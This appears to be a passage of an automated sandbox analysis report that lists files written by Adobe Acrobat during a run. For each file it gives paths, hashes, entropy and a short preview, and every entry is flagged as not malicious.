MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklXDqlltfllXlE/HT8kUlZNNX8RolJuRdxLlGB9lQRYwpDdt:kKxeT853NMa8RdWBwRd
MD5:	23A2D1487A0B020817184817D8E8CE2E
SHA1:	74D59398042CC1CD10F3E5543214FE82C2E49394
SHA-256:	DBF4D08CC4393DBDEB9835604DE5DE9C6688695325CEE3347C05AB9805413F3D
SHA-512:	CA34763A3A6E395AA6F5B3100A15E69DEE4931BA7CEDD8E642A2AC0AC1BD705F36BCC27AF6347554B4165FBE5B7D3AEDBC0E2E68FBD5FF6CD91985B1C9780720
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....~U..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKJDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:RDiDImsLNkPlE99SNxAhUe/3
MD5:	C3F020238EF4135F54E3DDD131162A61
SHA1:	C8AEEACE8960E1583560D86631D083F465C9D3E4
SHA-256:	D269C4A0339D7B4C4DEAD73046FBECB156C7CAAA080D72CCC8378B9936352315
SHA-512:	1B5FB706D64787640633BB589B297EAB5B7FC99ACC9333558E0F39228263627D7CF19CD4399C13499F07DDF4406505C71BDD11EE36575C2B368E02A877776093
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7108

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7108

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.335449453054439
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJM3g98kUwPeUkwRe9:YvXKXB1nVoYpW7HzGMbLUkee9
MD5:	E63A3E2695448EFB50421E4C8F815B89
SHA1:	DC2E87FBE87DC2D8E549F9C2AE856B4BEE47DB18
SHA-256:	27718631BE72F377935883FB689A300242565CA18DBE8EA463B9D43944ED5C31
SHA-512:	B682FBFAF19667464789C57DD55BCEC73F0F75873A6E2EB8630851784F098D8BDE0ABBB5B669838B372340A139C97E8E4E4134DFB91AAFD58AF3A8E1F580A83F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275516716428158
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJfBoTfXpnrPeUkwRe9:YvXKXB1nVoYpW7HzGWTfXcUkee9
MD5:	0747F58EEB36E137834257E5111641D4
SHA1:	C729DC26A0BD5C19D8B73A9576F42B0CF68BD494
SHA-256:	0AB78ECFB80E8F24E88401713AF751A1D14E4FA73748BE807FC6BCCF6989F21D
SHA-512:	87513641340B4E6324FE1D8A5A7C8087FD838589BD7422D3CA06D4645D5FEA1E517B6E150D9A3366F1F7AC18DF4D94268DED8B4EBCE4FEA1271A3F3446901DE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.254222930655037
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJfBD2G6UpnrPeUkwRe9:YvXKXB1nVoYpW7HzGR22cUkee9
MD5:	593DF9F0E4D8AEE94D04D73F22DCB548
SHA1:	C4F536C902F4F8E28149F49B5D11FC7EE4672C21
SHA-256:	6DC4CF6A336F40485D3D88B4F0E8B030BF5D4B86F82FA30C9A2B5A3F82EF8FF6
SHA-512:	27143DD3970EA564B972A514F3A323CDDB620E690BF85FC60D1A72703B24FF25FBD6F2A81D8467009FC7D26393E4C938FCB976BB4D5DF24CBD433B54FF2F4EF9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.313362894453541
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJfPmwrPeUkwRe9:YvXKXB1nVoYpW7HzGH56Ukee9
MD5:	F5F45BD4E63CCF77756A9BA27DE8E250
SHA1:	FDC7E8A65444C12D207225ED2814D9F1735E74A6
SHA-256:	CD6D918321606DE7884699D83BC3A5816CE772CC12A4F3E0381B8375541FACB2
SHA-512:	76C57197233730FC1E66E5D4C81A8EFF804181742E109F10EBCC2FC7F00238B8AED234C47B8635748927FE28E049B61D2B1F8DCE749EC9A0AEB13F166CC939C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687985660014794
Encrypted:	false
SSDEEP:	24:Yv6XBBVRiHopLgE9cQx8LennAvzBvkn0RCmK8czOCCSeCS:YvEBWHohgy6SAFv5Ah8cv/eJ
MD5:	9931CB2DB53541FE2B1E5021F6E14E4B
SHA1:	9ED6CE2B9438307DFE34E3A796C617BBDBE74F1D
SHA-256:	18F3A2521380E6C99838A8225A1D999D366652A4D73B04A2EBD4683DF0263C35
SHA-512:	1A434641DFC270AC41A25DFB6A6EF65C50E7A8224D2531D8100F8C26004DA241541C08E82A9E8D7A3E5DB605DAE4B97423F2ED10B4AE614B1FDE7B2B50E83E52
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.259907254942838
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJf8dPeUkwRe9:YvXKXB1nVoYpW7HzGU8Ukee9
MD5:	99837DC38CC6150B238FB4B478B3273D
SHA1:	F3EC65E988C53F44F9DC8428A02F5EF11D84EC12
SHA-256:	C5E45301BB20FACB65E91239DF1052DF21122893BB6BCB0A78392C9AD6E41CE4
SHA-512:	7B477BAD3D9C8700940AE52C4E67FDDD6C042C700DCAEFD4A9828751AF6B7DA088CB84D6CA0EAEA94001E1F6D07D26069DA2D84A56F2B6EDEC26C22DF670DE19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.261874164915797
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJfQ1rPeUkwRe9:YvXKXB1nVoYpW7HzGY16Ukee9
MD5:	B193986474A273EEFB2AFBFD40ED7703
SHA1:	631673B3DC958A7D4E31650066D49F9311AB566E
SHA-256:	3F6F4C5E1DD18B2C4DC608D91F0A72A6C2E706202CC5293E140BB18632FFA515
SHA-512:	0648E96BCE99C156116D2A735B29635442676AEED84CA9A405CD0BBCDA54D92C1FC2F0A6A47D2B788CA68BD2D8A5960DD8973AA5686FCD3DCAACF96E66D0EB8A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280929446086452
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJfFldPeUkwRe9:YvXKXB1nVoYpW7HzGz8Ukee9
MD5:	CD351D4E6A231F3C07F52C8EC613A016
SHA1:	26375CCC277AE1E6D9B1DACA233957404282DBD2
SHA-256:	FCAC9941A2440DE6F81EC21A17AB2B6C0B59AD345708452B539BED8856DCC7DD
SHA-512:	D988EF7073C384F6C7F30F483C6509C2253669780BF2E32A076582DBA44B75DF1719E8DC6383DC300318AC10DCF47BB6B505CA8E9A4856E6DA35F61D06653019
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.287415275674338
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJfzdPeUkwRe9:YvXKXB1nVoYpW7HzGb8Ukee9
MD5:	3B61BC771C8AACA73BFF71BAE8CC06A8
SHA1:	CDDBD464AB09EF86ABDC11B2AE388F7775AE2CAD
SHA-256:	16C2E7478B0EF63540592F5C183F619BB6AA42D2F605279AFF25C17BD8435A87
SHA-512:	ACE9F5F1DCA38CC8E323FC3BE3E1FF210FC86C695F3629F5F2DB3369246D1E99C25FABA9F62217CB0D883DFDC5DDAB020C544598661D33253D17B3BDD7E05CAF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267673208528631
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJfYdPeUkwRe9:YvXKXB1nVoYpW7HzGg8Ukee9
MD5:	4AC0EBBB2E531AE971B0FADA6BB1B973
SHA1:	3B5916B0FD1280E8DC5B9819CDF7CF3E4D970D62
SHA-256:	39E055C049E041533C05D2967DB7B02B1D43CBFB42E838973C114F5FE6BB5C93
SHA-512:	D22E17411E75AC3DE23DEE23426CDD95A7627C8AF6B2998C14E8B699C25E40B8B9FDB343EAD67B0F22496E5CA6BE7B929789F60D7DBC07D9AA7DAC926CB42D1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6017b3e3-b922-4932-a641-26c4d7fb0baa","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753802666,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.25315444769884
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB1HUoHPVVjx+FIbRI6XVW7+0YoIoAvJf+dPeUkwRe9:YvXKXB1nVoYpW7HzG28Ukee9
MD5:	E06F2E0F9ECBFB95654283D285983FFE
SHA1:	62429130A955297AD70307DBC4C50F48881257C7
SHA-256:	0F2C59EFA5973784472258CEAED20B919C406CF254428072B9A25973FAE4A3D8
SHA-512:	603349E8494B7D71F71041D9A1C2D17713BAA0D798310EE4BD69BCFAC8AFD75832D57CB8525C8FEEF85C95ED855F8ED02F9D2A0F11CE99062122244E13E21DA0
Malicious:	false
